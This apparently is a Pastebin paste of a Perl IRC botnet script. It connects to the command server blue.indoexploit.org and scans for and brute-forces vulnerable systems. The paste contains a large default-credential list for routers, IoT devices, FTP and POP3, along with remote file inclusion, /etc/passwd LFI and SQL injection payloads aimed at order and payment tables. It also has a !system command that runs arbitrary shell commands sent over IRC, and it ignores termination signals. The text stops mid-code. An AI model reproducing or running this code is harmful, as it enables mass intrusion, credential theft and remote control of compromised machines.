Guest User

Untitled

a guest
Aug 16th, 2018
766
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 45.57 KB | None | 0 0
  1. #!/usr/bin/perl #-Voo_Doo NewEr DIE(); __ |
  2. use IO::Socket::INET;
  3. use strict;
  4. use Mail::POP3Client;
  5. use strict;
  6. use Net::POP3;
  7. use strict;
  8. use warnings;
  9. use Net::FTP;
  10. use IO::Socket;
  11. ##############
  12. #use Parallel::ForkManager; my $zpm=new Parallel::ForkManager(125);
  13. my($http_stream_out,%http_loop_check,$response2,$columna,$columns,$column,$union,$inyection,$sql,$response,$tabla,$server,$channel,$chankey,$port,$nickp,$owner,$lfi_shell,$lfi_text,$rfi_shell,$rfi_text,$sql_error,$sql_text,$maxsite,$v_threads,$get_timeout,$sock,$mid,$uc,@irc_parsed,@irc_parsed1,@rfi_sites,@rfi_urls,@bosses);
  14. #--------------------------------------------
  15. my($server,$channel,$chankey,$port,$nickp,$owner) = ("blue.indoexploit.org","#ssd","","6667","G_test","G-one");
  16. #--------------------------------------------
  17. my %config = (max_childs => 60); my($ipa,$ipb,$ipc,$ipd,$sox,$user,$pass);
  18. my $childs = 50;
  19. my ($host,$password,$n,$buffer,$OK,$octets,$messages,$mess,$octmess,$sockz);
  20. my $savev = "http://ave.bms-group.pl/vte.php";
  21. my ($rfi_shell,$rfi_text) = ("http://www.nopaste.pl/Source/om7.txt?","<b>e10adc3949ba59abbe56e057f20f883e<\/b>");
  22. my($sql_error,$sql_text) = ("-'","sql syntax|sql error|right syntax to use near");
  23. my($lfi_shell,$lfi_text) = ("../../../../../etc/passwd%00","root:(.+):(.+):(.+):(.+):(.+):(.+)"); #Add a NULL byte
  24. my @tabele=('orders','order','customer','customers','payment','payments'); #my @kolumny=('ccv','cvv','cvs','ccv2');
  25.  
  26. #--------------------------------------------
  27. my @http_AU_Voo = ("ftp:ftp","root:123456","root:anko","root:nosoup4u","root:uClinux","root:ubnt","root:root","admin:1111","root:admin","telnet:telnet","admin:12345","vagrant:vagrant","CISCO:CISCO","test:test","guest:guest","root:password","admin:password","operator:operator","ubnt:ubnt","root:toor","support:support","admin:admin","admin:1234","root:root","root:1234","usuario:usuario","user:user","root:d1sn4t3n*123/","root:rpitc","root:waldo","root:raspberrypi","root:admin","root:dreambox","root:0000","root:1234","root:1234","root:welc0me","root:waldo","root:000000","root:system","root:rpitc","root:admintrup","root:seiko2005","root:rpitc","root:dreambox","root:rpitc","root:system","root:ubnt","root:raspberrypi","root:-","homun:q1w2e3r4","pi:raspberry","pi:raspberryraspberry993311","bkpmes:bkpmes","root:admintrup","root:1234","root:seiko2005","root:admin","root:111111","root:admin","root:seiko2005","root:openelec","root:xmhdipc","root:admintrup","root:openelec","root:xmhdipc","root:0000","root:xmhdipc","root:Zte521","root:ubnt","root:12345","root:root","donrepara:d1sn4t3n*123/","admin:sysuser","root:root123","root:123456","root:Gr!gR$891","ma2:Miguel1985","root:xmhdipc","root:welc0me","root:Zte521","root:password","root:12345","root:nosoup4u","root:waldo","root:system","root:111111","root:waldo","root:ubnt","root:seiko2005","root:system","root:welc0me","root:openelec","root:xmhdipc","root:default","root:ubnt","root:admintrup","root:seiko2005","root:password","menu:gbl123!@#","root:Hiersun2017@","root:system","root:anko","root:0000","root:0000","root:default","root:system","root:nosoup4u","root:root","root:000000","root:1234","root:system","root:Zte521","root:waldo","root:seiko2005","root:000000","root:welc0me","root:admin","root:rpitc","root:anko","root:1234","root:welc0me","root:111111","root:12345","root:password","root:openelec","root:raspberrypi","root:system","root:seiko2005","root:123456","jboss:123456","root:db00Hdear$2017","root:root","root:Vaquita51611235",":","admin:12345","master:12345","support:support","1234:1234","admin:admin","super:super","root:admin","root:root","root:cycl3R0cks!","admin:","admin:&","admin:<Any pass>","admin:0000","admin:0987654321","admin:1","admin:1111","admin:11111","admin:111111","admin:123","admin:123123","admin:123321","admin:1234","admin:12345","admin:123456","admin:1234567","admin:12345678","admin:123456789","admin:1234567890","admin:123654","admin:159753","admin:159753","admin:1q2w3e4r","admin:1qaz2wsx","admin:1qazxsw2","admin:22","admin:2222","admin:4321","admin:4dm1n","admin:7ujMko0admin","admin:abc123","admin:admin","Admin:admin","admin:admin01","admin:admin1","admin:admin12","admin:admin123","admin:admin1234","admin:admin12345","admin:admin123456","admin:administrator","admin:adslolitec","admin:adslolitec","admin:AitbISP4eCiG","admin:<Any pass>","admin:articon","admin:asante","admin:asd","admin:atlantis","admin:barricade","admin:baseball","admin:change","admin:changeme","admin:cisco","admin:client","admin:default","admin:demo","admin:diamond","admin:dragon","admin:epicrouter","admin:ftp","admin:ftpuser","admin:guest","admin:guest","admin:hello","admin:heslo","admin:ironport","admin:manager","admin:master","admin:monitor","admin:motorola","admin:netadmin","admin:ninja","admin:nopass","admin:ololo","admin:openelec","admin:operator","admin:osmc","admin:pass","admin:passw0rd","admin:password","admin:password123","admin:public","admin:q1w2e3r4","admin:q1w2e3r4","admin:qazwsx","admin:qwerty","admin:raspberry","admin:root","admin:secure","admin:service","admin:service123","admin:setup","admin:sshd","admin:super","admin:support","admin:switch","admin:system","admin:test","admin:test123","admin:ubnt","admin:user","admin:user123","admin:uucp","admin:ipcam_rt5350","admin:cat1029","admin:vertex25ektks123","admin:7ujMko0admin","admin:vizxv","admin:antslq","admin:1001chin","admin:5up","admin:zhongxing","admin:1234qwer","admin:qazxsw","admin:ttnet","admin:zsun1188","admin:oelinux123","admin:oelinux1234","admin:ivdev","admin:GM8182","admin:zyad1234","admin:smcadmin","admin:aquario","admin:aquario","admin:alpine","admin:hunt5759","admin:meinsm","1234:","1234:<Any pass>","1234:111111","1234:123","1234:1234","1234:12345","1234:1234567890","1234:admin","1234:<Any Pass>","1234:nopass","root:","Root:","root:!QAZ2wsx","root:<Any pass>","root:0000","root:000000","root:0987654321","root:0987654321","root:1","root:11111","root:111111","root:121212","root:123","root:123.com","root:123123","root:123321","root:1234","root:12345","root:123456","root:1234567","root:12345678","root:123456789","root:1234567890","root:123qwe","root:159753","root:1q2w3e","root:1q2w3e4r","root:1q2w3e4r5t","root:1q2w3e4r5t","root:1qaz!QAZ","root:1qaz2wsx","root:1qazxsw2","root:31415926","root:5up","root:666666","root:7ujMko0admin","root:88888888","root:987654321","root:a","root:a123456","root:abc123","root:abcd1234","root:access","root:admin","root:admin01","root:admin1","root:admin123","root:adminadmin","root:adminpassword","root:adminpassword","root:alpine","root:anypass","root:aquario","root:ascend","root:asdf1234","root:athens","root:attack","root:blender","root:calvin","root:casa","root:centos","root:changeme","root:Cisco","root:cisco","root:cms500","root:default","root:dragon","root:dreambox","root:fivranne","root:fivranne","root:football","root:juantech","root:jvbzd","root:klv123","root:klv1234","root:letacla","root:letmein","root:live","root:manager","root:master","root:Mau'dib","root:monkey","root:nimda","root:nopass","root:openelec","root:operator","root:p","root:password","root:permit","root:pfsense","root:pi","root:plcmspip","root:public","root:q1w2e3r4t5","root:qazwsx","root:qwe123","root:qwerty","root:raspberry","root:redhat","root:root","admin:admin","admin:password","admin:7ujMko0admin","admin:admin123","admin:admin1","admin:password","admin:1111","admin:manager","admin:7ujMko0admin","admin:admin1","admin:pfsense","admin:default","admin:1111","admin:admin123","admin:default","admin:password","admin:admin","admin:motorola","admin:12345","admin:default","web:sdAakx4A","root:dreambox","root:root","passfeel:q1w2e3r4","user:user1234","root:root","revisor:revisor","admin:admin","admin:manager","admin:aerohive","admin:changeme","admin:admin","admin:admin1234","admin:1111","admin:manager","admin:motorola","admin:manager","admin:password","admin:1234","admin:admin1","admin:aerohive","admin:admin","admin:admin1234","admin:admin1","admin:admin1234","admin:12345","admin:password","admin:default","menu:","invoices:invoices","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","support:support","root:dreambox","root:raspberrypi","root:admintrup","root:000000","root:ubnt","root:rpitc","root:111111","root:root","root:HKhiersun2017","admin:admin1234","admin:default","admin:1111","admin:12345","admin:admin","admin:admin","admin:1111","admin:aerohive","admin:12345","admin:default","admin:1234","admin:1234","admin:7ujMko0admin","admin:admin","admin:admin123","admin:admin1","admin:admin1234","admin:admin","admin:12345","admin:7ujMko0admin","admin:12345","admin:password","admin:admin1","admin:changeme","admin:7ujMko0admin","admin:default","admin:admin1234","admin:1111","admin:password","admin:admin","admin:1111","admin:admin1234","admin:password","admin:1111","admin:pfsense","admin:motorola","admin:1111","admin:admin1234","admin:password","admin:pfsense","admin:1234","admin:admin1","root:root","dkalathil:Wwse123","root:default","root:xmhdipc","root:dreambox","root:system","root:12345","root:rpitc","root:xmhdipc","root:111111","root:openelec","root:rpitc","root:admintrup","root:seiko2005","root:welc0me","root:raspberrypi","root:system","root:12345","root:dreambox","root:password","root:12345","root:admintrup","root:raspberrypi",":","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","service:service","admin:123","geozhsia:LUbIv5NmvJDOS7Hkp3eddaACToR2oh29","cav:cavsys","relic:q1w2e3r4","root:root","root:root","pi:raspberry","pi:raspberryraspberry993311","idst6:q1w2e3r4","root:root","root:admin","admin:admin","telnet:telnet","ubnt:ubnt","user:user","support:support","0000:0000","1111:1111","admin:password","admin:1234567890","osmc:osmc","pi:raspberry","operator:operator","pi:1234","root:pi","user:123456","service:service","root:linux","root:password","test:test","phion:123","root:anko","root:waldo","root:nosoup4u","root:rpitc","root:0000","root:Zte521","root:welc0me","root:welc0me","root:admin","root:system","root:anko","root:uClinux","root:xmhdipc","root:12345","root:system","root:0000","root:admin","root:0000","root:waldo","root:nosoup4u","root:uClinux","debian-spamd:debian-spamd","root:123456","root:111111","admin:12345","root:xmhdipc","root:dreambox","admin:changeme","root:rpitc","root:admin","admin:motorola","root:1234","root:admin","admin:admin1","root:ubnt","root:12345","root:rpitc","admin:7ujMko0admin","root:0000","root:uClinux","admin:1111","root:root","root:123456","root:dreambox","admin:manager","root:0000","root:nosoup4u","admin:admin1","root:system","root:welc0me","admin:manager","root:welc0me","root:waldo","admin:1234","root:seiko2005","root:root","admin:default","root:111111","root:rpitc","admin:1234","root:ubnt","root:admin","admin:admin123","root:nosoup4u","root:Zte521","admin:admin1234","root:123456","root:raspberrypi","admin:12345","root:000000","root:waldo","admin:manager","root:seiko2005","root:dreambox","admin:1234","root:1234","root:admin","admin:admin123","root:12345","root:system","admin:admin1234","root:password","root:admintrup","admin:changeme","root:0000","root:waldo","admin:default","root:admin","root:waldo","root:0000","root:anko","root:nosoup4u","root:password","root:111111","root:default","root:raspberrypi","root:123456","root:anko","root:Zte521","root:nosoup4u","root:Zte521","root:1234","root:1234","root:uClinux","root:dreambox","root:dreambox","root:system","root:000000","root:nosoup4u","root:seiko2005","root:12345","root:111111","root:admintrup","root:seiko2005","root:admintrup","root:anko","root:root","root:root","iedu:q1w2e3r4","root:vmware123","root:vmware","root:root123456789","root:123456","root:muiemulta","root:pula","root:muiema","root:260788","aalbornoz:qwaszx1725","root:root","root:Ps856094533238","root:vmware123","root:vmware","root:root123456789","root:raspberrypi","root:openelec","root:admintrup","root:rpitc","root:default","root:default","root:raspberrypi","root:xmhdipc","root:welc0me","root:nosoup4u","root:admin","root:root","root:root","proxy:proxy");
  28. my ($maxsite,$v_threads,$get_timeout) = (20,15,14); $0 = "aVe";
  29. %SIG = ('HUP','IGNORE','INT','IGNORE','PIPE','IGNORE','TERM','IGNORE'); # wsill not be able to !kill scans
  30. #--------------------------------------------
  31. sub randnick($){return "$_[0]" . int(rand(1)*100) . int(rand(1)*200) . int(rand(1)*300);} #sub randnick($){return "$_[0]";}
  32. sub send_raw($){print $sock "$_[0]\r\n";}
  33. sub send_msg($$){print $sock "PRIVMSG $_[0] :$_[1]\r\n";}
  34. sub in_array {for(my $x=1;$x<=$#_;$x++){if($_[$x] eq $_[0]){return $x;}}return 0;}
  35. sub array_num {my $y=0;for(my $x=1;$x<=$#_;$x++){if($_[$x] eq $_[0]){$y++;}}return $y;}
  36. sub remove_dups(@){my(@Uns,@S,$x) = (@_);for($x=0;$x<=$#Uns;$x++){push(@S,$Uns[$x]) unless in_array($Uns[$x],@S);}return @S;}
  37. sub tchomp {my $text = shift;$text =~ s/^(.*?)(?:\x0D\x0A|\x0A|\x0D|\x0C|\x{2028}|\x{2029})/$1/s;return $text;}
  38. sub urlencode($){ my $unclean = shift; $unclean =~ s/\?/\%3f/gi; $unclean =~ s/ /\+/gi; $unclean =~ s/:/\%3A/gi; $unclean =~ s/\//\%2F/gi; $unclean =~ s/&/\%26/gi; $unclean =~ s/\"/\%22/gi; $unclean =~ s/\'/\%27/gi; $unclean =~ s/,/\%2C/gi; $unclean =~ s/\\/\%5C/gi; return $unclean; }
  39. sub urldecode($){ my $clean = shift; $clean =~ s/\%3f/\?/gi; $clean =~ s/\+/ /gi; $clean =~ s/\%3A/:/gi; $clean =~ s/\%2F/\//gi; $clean =~ s/\%26/&/gi; $clean =~ s/\%22/\"/gi; $clean =~ s/\%27/\'/gi; $clean =~ s/\%2C/,/gi; $clean =~ s/\%5C/\\/gi; return $clean; }
  40. sub getreq($){
  41. my($url,$query,$xcon,$host,$get,@content,@ags) = ($_[0]);
  42. @ags = ("Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050223 Firefox/1.0.1","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)","Microsoft Pocket Internet Explorer/0.6","Microsoft Internet Explorer/4.0b1 (Windows 95)");
  43. $url =~ m/http:\/\/(.*?)\/(.*)/;
  44. ($host,$url,$query) = ($1,"$1/$2","/$2");
  45. eval{
  46. local $SIG{ALRM} = sub{print("[-] Timed out - $url\n");die;};
  47. alarm $get_timeout;
  48. $get = IO::Socket::INET->new(PeerAddr=>"$host:80",Proto=>"tcp") or sub{die("FAILED\n");};
  49. print $get "GET $query HTTP/1.0\r\nHost: $host\r\nUser-Agent: " . $ags[int(rand(0)*$#ags)] . "\r\nAccept: */*\r\nConnection: close\r\n\r\n";
  50. @content = <$get>;
  51. $xcon = "@content";
  52. close($get);
  53. alarm 0;
  54. }; return urldecode($xcon);
  55. }
  56. sub rfi_onet($$){
  57. my($dork,$start,$content,$dom,$page,$dad,$url) = (urlencode($_[0]),$_[1]);
  58. print "[Onet-] http://szukaj.onet.pl/0,$start,query.html?qt=$dork\n";
  59. $content = &getreq("http://szukaj.onet.pl/0,$start,query.html?qt=$dork");
  60. if($content =~ m/<h1>We\'re sorry\.\.\.<\/h1>/){print "[0n3t] Google killed you\n";return 0;}
  61. while($content =~ m/<a href=\"http:\/\/(.*?)\"/ig){
  62. $url = "http://$1";
  63. if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){
  64. ($dom,$page) = ("http://$1$2","/$3");
  65. $dad = $dom.$page;
  66. push(@rfi_sites,$dom);
  67. push(@rfi_urls,$dad);
  68. #print "[GOO-SCAN] $dad\n";
  69. $uc++;
  70. }
  71. }
  72. if($content =~ m/button nextActive\">Nast/){ print "[0n3t] Another page: " . ($start + 100) . "\n"; &rfi_onet($dork,($start + 1),$_[2]); }
  73. return $uc;
  74. }
  75.  
  76. sub url_validate(@){
  77. my($choice,$pagen) = ($_[0],$_[1]);
  78. my(@urls,@fails,@paramlist,@params,@checks,$url,$tmp1,$tmp2,$chk,$m_add,$m_text,$badu,$count,$count2,@rfis);
  79. $badu = "(\w*\.baidu\.)|(\w*\.microsoft\.)|(\w*\.onet\.)|(\w*\.live\.)|(\w*\.w3\.org)|(\w*\.msnscache\.)|(\w*\.google\.)|(\w*\.yahoo\.)|(\w*\.aol\.)|(\w*\.altavista\.)|(\w*\.ask\.)|(209\.85\.173\.104)";
  80. for(2..$#_){ if($_[$_] !~ m/$badu/i){ push(@urls,$_[$_]); } }
  81. @urls = &remove_dups(@urls);
  82. foreach(@urls){ push(@rfis,$_) if $_ =~ m/^http:\/\/(www\.|)([\w\-\_\.]*)\/([\w\-\_\.\/\;]*)\?([\w\-\_\.]*)=(.*?)$/; }
  83. if(@urls){
  84. if($choice eq "DORK"){
  85. foreach $url(@urls){
  86. $m_add = $rfi_shell; $m_text = $rfi_text;
  87. if($url =~ m/^http:\/\/(www\.|)([\w\-\_\.]*)\/([a-z0-9\.\-\_\/]*)\/([\w\-\_\.\/\;]*)/){ push(@checks,"http://$1$2/$3/$pagen"); }
  88. elsif($url =~ m/^http:\/\/(www\.|)([\w\-\_\.]*)\/([\w\-\_\.\/\;]*)/){
  89. push(@checks,"http://$1$2/$pagen");
  90. }
  91. }
  92. }
  93. elsif($choice eq "RFI") {
  94. foreach $url(@rfis){
  95. $m_add = $rfi_shell;
  96. $m_text = $rfi_text;
  97. @paramlist = split(/\?/,$url);
  98. @params = split(/=/,$paramlist[1]);
  99. $tmp1 = "";
  100. for(0..$#params-1){
  101. $tmp1 .= $params[$_] . "="; $tmp2 = $paramlist[0] . "?" . $tmp1;
  102. push(@checks,$tmp2);
  103. }
  104. }
  105. }
  106. elsif($choice eq "LFI") {
  107. foreach $url(@rfis){
  108. $m_add = $lfi_shell;
  109. $m_text = $lfi_text;
  110. @paramlist = split(/\?/,$url);
  111. @params = split(/=/,$paramlist[1]);
  112. $tmp1 = "";
  113. for(0..$#params-1){
  114. $tmp1 .= $params[$_] . "="; $tmp2 = $paramlist[0] . "?" . $tmp1;
  115. push(@checks,$tmp2);
  116. }
  117. }
  118. }
  119. elsif($choice eq "SQL"){
  120. foreach $url(@rfis){
  121. $m_add = $sql_error;
  122. $m_text = $sql_text;
  123. @paramlist = split(/\?/,$url);
  124. @params = split(/=/,$paramlist[1]);
  125. $tmp1 = "";
  126. for(0..$#params-1){
  127. $tmp1 .= $params[$_] . "="; $tmp2 = $paramlist[0] . "?" . $tmp1;
  128. push(@checks,$tmp2);
  129. }
  130. }
  131. }
  132. }
  133. else{ print "[VAL-] [$choice] No sites to clean\n"; return 0; }
  134. @checks = &remove_dups(@checks);
  135. #send_msg($channel,"[VAL] [$choice] " . ($#checks+1) . " URLS to check");
  136. print "[URL VALIDATION] [$choice] " . ($#checks+1) . " URLS TO CHECK\n";
  137. foreach $chk(@checks){
  138. $count++; $count2++; $chk .= $m_add;
  139. if(&getreq($chk) =~ m/$m_text/i){ send_msg($channel,"$chk"); print "[VAL+] Win: $chk\n\n"; }
  140. else{ print "[VAL-] Fail: $chk\n"; }
  141. if($count==250){ send_msg($channel,"[VAL] [$choice] $count2 of " . $#checks . " urls completed"); $count=0; }
  142. elsif($checks[$#checks] eq $checks[$count]){
  143. #send_msg($channel,"[VAL] [$choice] All " . $#checks . " urls completed");
  144. $count=0; $count2=0;
  145. }
  146. }
  147. return 0;
  148. }
  149.  
  150. $mid = fork(); exit if $mid; exit if undef $mid;
  151. $sock = new IO::Socket::INET(PeerAddr=>"$server:$port",Proto=>"tcp");
  152. die("Couldn't connect: $!\n") unless $sock;
  153. my $nick = &randnick($nickp);
  154. &send_raw("NICK " . $nick); &send_raw("USER " . &randnick("s") . " " . &randnick("z") . " * :HELLOSIR");
  155. if($chankey){&send_raw("JOIN $channel $chankey");}else{&send_raw("JOIN $channel");}
  156. while(<$sock>){
  157. @irc_parsed = split(/\r\n/,&tchomp($_));
  158. @irc_parsed1 = split(/ /,$irc_parsed[0]);
  159. print $irc_parsed[0] . "\n";
  160. if($irc_parsed1[0] eq "PING"){ send_raw("PONG " . $irc_parsed1[1]); }
  161. elsif($irc_parsed1[1] eq "001"){ if($chankey){&send_raw("JOIN $channel $chankey");}else{&send_raw("JOIN $channel");} }
  162. elsif(($irc_parsed1[1] eq "433") || ($irc_parsed1[1] eq "436")){ &send_raw("NICK " . randnick($nickp)); send_raw("JOIN " . $channel); }
  163. elsif($irc_parsed1[1] eq "475"){ send_msg($owner,"key $chankey for $channel is WRONG"); die("Channel key is WRONG\n"); }
  164. #--------------
  165. elsif($irc_parsed1[3] =~ m/(.*)http:\/\/(.*)[=](.+?)'/ || $irc_parsed1[3] =~ m/http:\/\/(.*)[=]-1/ || $irc_parsed1[3] =~ m/(.*)http:\/\/(.*)[=]/ || $irc_parsed1[3] =~ m/(.*)http:\/\/(.*)[=]-1/ || $irc_parsed1[3] =~ m/(.*)http:\/\/(.*)[=]'/){ if(my $xid = fork){ waitpid($xid,0); } else{ if(fork){ exit; } else{ my $link = "http://".$2."="; &sqlbrute($link,20); exit; } } }
  166. elsif($irc_parsed1[3] =~ m/(.*)http:\/\/(.*)[=](.+?)passwd/ || $irc_parsed1[3] =~ m/(.*)http:\/\/(.*)[=](.+?)passwd%00/){ if(my $xid = fork){ waitpid($xid,0); } else{ if(fork){ exit; } else{ my $link = "http://".$2."="; &lfibrute($link); exit; } } }
  167. #--------------
  168. elsif($irc_parsed1[1] eq "KICK"){ if($chankey){ &send_raw("JOIN $channel"); } else{ &send_raw("JOIN $channel $chankey"); } }
  169. elsif(($irc_parsed1[1] eq "JOIN") && (substr($irc_parsed1[2],1) ne $channel)){ &send_raw("PART ".substr($irc_parsed1[2],1)); }
  170. if(($irc_parsed1[0] =~ m/:(.+)!(.+)\@(.+)/) || ($irc_parsed1[0] =~ m/:(.+)!~(.+)\@(.+)/)){
  171. if(($irc_parsed1[4] eq $nick) || ($irc_parsed1[4] eq "all")){
  172. $irc_parsed1[0] = $1;
  173. if($irc_parsed1[3] eq ":!wypierdalac"){ send_raw("QUIT"); exit; }
  174. elsif(($irc_parsed1[3] eq ":!kill") && ($irc_parsed1[5] =~ m/(\d*)/)){
  175. my $pid = $irc_parsed1[5];
  176. my $ppid = "$$";
  177. if($pid eq $ppid){ send_msg($irc_parsed1[0],"[PROC] Could not kill $pid, it is scan process"); }
  178. else{
  179. my $Prc = system("kill -9 $pid");
  180. if(!$Prc){ send_msg($channel,"[PROC] PID $pid {KILLED}"); }
  181. elsif($Prc eq "256"){ send_msg($channel,"[PROC] PID $pid {NO EXIST}"); }
  182. else{ send_msg($channel,"[PROC] PID $pid {OTHER ERROR}"); }
  183. }
  184. }
  185. elsif(($irc_parsed1[3] eq ":!rfishell") && ($irc_parsed1[5] =~ m/http:\/\/(.+)/)){
  186. if(!$1 =~ m/\?$/){ $rfi_shell = "http://".$1."?"; } else{ $rfi_shell = "http://$1"; }
  187. send_msg($channel,"[RFI] shell set: $rfi_shell");
  188. }
  189. elsif(($irc_parsed1[3] eq ":!rfishell") && (!$irc_parsed1[5])){
  190. if($rfi_shell){ send_msg($channel,"[RFI] Shell: $rfi_shell"); }
  191. elsif(!$rfi_shell){ send_msg($channel,"[RFI] No shell: set one with !rfishell $nick <RFI script/shell>"); }
  192. }
  193. elsif(($irc_parsed1[3] eq ":!rfitext") && (!$irc_parsed1[5])){
  194. if($rfi_text){ send_msg($channel,"[RFI] Text: $rfi_text"); }
  195. elsif(!$rfi_text){ send_msg($channel,"[RFI] No text: set one with !rfitext $nick <text in shell>"); }
  196. }
  197. elsif(($irc_parsed1[3] eq ":!rfitext") && ($irc_parsed1[5])){
  198. $rfi_text = "";
  199. for(5..$#irc_parsed1){ $rfi_text .= $irc_parsed1[$_] . " "; }
  200. $rfi_text = substr($rfi_text,0,length($rfi_text)-1);
  201. send_msg($channel,"[RFI] text set: $rfi_text");
  202. }
  203. elsif(($irc_parsed1[3] eq ":!sqlerror") && ($irc_parsed1[5])){
  204. $sql_error = "";
  205. for(5..$#irc_parsed1){ $sql_error .= $irc_parsed1[$_] . " "; }
  206. $sql_error = substr($sql_error,0,length($sql_error)-1);
  207. send_msg($channel,"[SQL] error set: $sql_error");
  208. }
  209. elsif(($irc_parsed1[3] eq ":!sqlerror") && (!$irc_parsed1[5])){
  210. if($sql_error){ send_msg($channel,"[SQL] Error: $sql_error"); }
  211. elsif(!$sql_error){
  212. send_msg($channel,"[SQL] No error: set one with !sqlerror $nick <sql error>");
  213. }
  214. }
  215. elsif(($irc_parsed1[3] eq ":!sqltext") && ($irc_parsed1[5])){
  216. $sql_text = "";
  217. for(5..$#irc_parsed1){ $sql_text .= $irc_parsed1[$_] . " "; }
  218. $sql_text = substr($sql_text,0,length($sql_text)-1);
  219. send_msg($channel,"[SQL] text set: $sql_text");
  220. }
  221. elsif(($irc_parsed1[3] eq ":!sqltext") && (!$irc_parsed1[5])){
  222. if($rfi_text){ send_msg($channel,"[SQL] Text: $sql_text"); }
  223. elsif(!$rfi_text){ send_msg($channel,"[SQL] No text: set one with !sqltext $nick <SQL error text>"); }
  224. }
  225.  
  226. elsif($irc_parsed1[3] eq ":!test"){ if(my $xid = fork){ waitpid($xid,0); } else{ if(fork){ exit; } else{ send_msg($channel,"[TEST] Working!"); exit; } } }
  227.  
  228. elsif(($irc_parsed1[3] eq ":!podajlfi") && ($irc_parsed1[5])){
  229. my($dork); for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";} $dork = substr($dork,0,length($dork)-1);
  230. if(my $xid = fork){ waitpid($xid,0); }
  231. else{
  232. if(my $dad=fork){ send_msg($channel,"[SYS] Running system: $dork - Stop with !kill $nick $dad"); exit; }
  233. else{
  234. my $save = "/tmp/".int(rand(1)*100);
  235. &getstore($dork,$save);
  236.  
  237. send_msg($channel,"safed $dork $save");
  238. my $czaj = $save; open(FILE, $czaj); print("open $czaj \r\n");
  239. while(<FILE>) {
  240. my $jo=$_; chomp $jo; $jo=~s/\n//; $jo=~s/\r//;
  241. if($jo=~ /(.*?[=])/g){ &lfibrute($1); }
  242. #sleep 1*60; # need ?
  243. }
  244. close(FILE); `rm -rf $czaj`;
  245. }
  246. exit;
  247. }
  248. }
  249. elsif(($irc_parsed1[3] eq ":!podajsql") && ($irc_parsed1[5])){
  250. my($dork); for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";} $dork = substr($dork,0,length($dork)-1);
  251. if(my $xid = fork){ waitpid($xid,0); }
  252. else{
  253. if(my $dad=fork){ send_msg($channel,"[SYS] Running system: $dork - Stop with !kill $nick $dad"); exit; }
  254. else{
  255. my $save = "/tmp/sqllist.txt";
  256. system("wget ".$dork." -O ".$save);
  257. #&getstore($dork,$save);
  258.  
  259. send_msg($channel,"safed $dork $save");
  260. my $czaj = $save; open(FILE, $czaj); print("open $czaj \r\n");
  261. #$zpm->start and next;
  262. while(<FILE>) {
  263. my $jo=$_; chomp $jo; $jo=~s/\n//; $jo=~s/\r//;
  264. if($jo=~ /(.*?[=])/g){ print($1."\n"); &sqlbrute($1,20); }
  265. #sleep 1*60; # need ?
  266. #$zpm->finish;
  267. }
  268. close(FILE); `rm -rf $czaj`;
  269. }
  270. exit;
  271. }
  272. }
  273. elsif(($irc_parsed1[3] eq ":!podajpop3") && ($irc_parsed1[5])){
  274. my($dork); for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";} $dork = substr($dork,0,length($dork)-1);
  275. if(my $xid = fork){ waitpid($xid,0); }
  276. else{
  277. if(my $dad=fork){ send_msg($channel,"[SYS] Running system: $dork - Stop with !kill $nick $dad"); exit; }
  278. else{
  279. my $save = "/tmp/x".int(rand(1)*100);
  280. system("wget ".$dork." -O ".$save);
  281. #&getstore($dork,$save);
  282.  
  283. send_msg($channel,"safed $dork $save");
  284. my $czaj = $save; open(FILE, $czaj); print("open $czaj \r\n");
  285. while(<FILE>) { #$zpm->start and next;
  286. my $jo=$_; chomp $jo; $jo=~s/\n//; $jo=~s/\r//;
  287. if($jo=~ /(.*)\@(.*):(.*)/g){
  288. my $mail = $1; my $dom = $2; my $pass = $3; my $cal = $mail.'@'.$dom.':'.$pass;
  289. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &pop3($cal); } }
  290.  
  291. } sleep 1; # need ?
  292. }
  293. close(FILE); # `rm -rf $czaj`;
  294. }
  295. exit;
  296. }
  297. }
  298.  
  299.  
  300. elsif(($irc_parsed1[3] eq ":!system") && ($irc_parsed1[5])){
  301. my($dork);
  302. for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
  303. $dork = substr($dork,0,length($dork)-1);
  304. if(my $xid = fork){ waitpid($xid,0); }
  305. else{
  306. if(my $dad=fork){
  307. send_msg($channel,"[SYS] Running system: $dork - Stop with !kill $nick $dad");
  308. exit;
  309. }
  310. else{
  311. my @cmdresult = split(/\n/,`$dork`);
  312. foreach(@cmdresult){
  313. send_msg($irc_parsed1[0],"$_");
  314. sleep(2);
  315. }
  316. exit;
  317. }
  318. }
  319. }
  320. elsif(($irc_parsed1[3] eq ":!router") && ($irc_parsed1[5])){
  321. my($dork);
  322. for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
  323. $dork = substr($dork,0,length($dork)-1);
  324. if(my $xid = fork){ waitpid($xid,0); }
  325. else{
  326. if(my $dad=fork){
  327. send_msg($channel,"[SYS] Running system: $dork - Stop with !kill $nick $dad");
  328. exit;
  329. }
  330. else{
  331. &main($dork,"rou");
  332. }
  333. exit;
  334. }
  335. }
  336. elsif(($irc_parsed1[3] eq ":!ftp") && ($irc_parsed1[5])){
  337. my($dork);
  338. for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
  339. $dork = substr($dork,0,length($dork)-1);
  340. if(my $xid = fork){ waitpid($xid,0); }
  341. else{
  342. if(my $dad=fork){
  343. send_msg($channel,"[SYS] Running system: $dork - Stop with !kill $nick $dad");
  344. exit;
  345. } else{ &main($dork,"ftp"); }
  346. exit;
  347. }
  348. }
  349. elsif(($irc_parsed1[3] eq ":!pop3") && ($irc_parsed1[5])){
  350. my($dork);
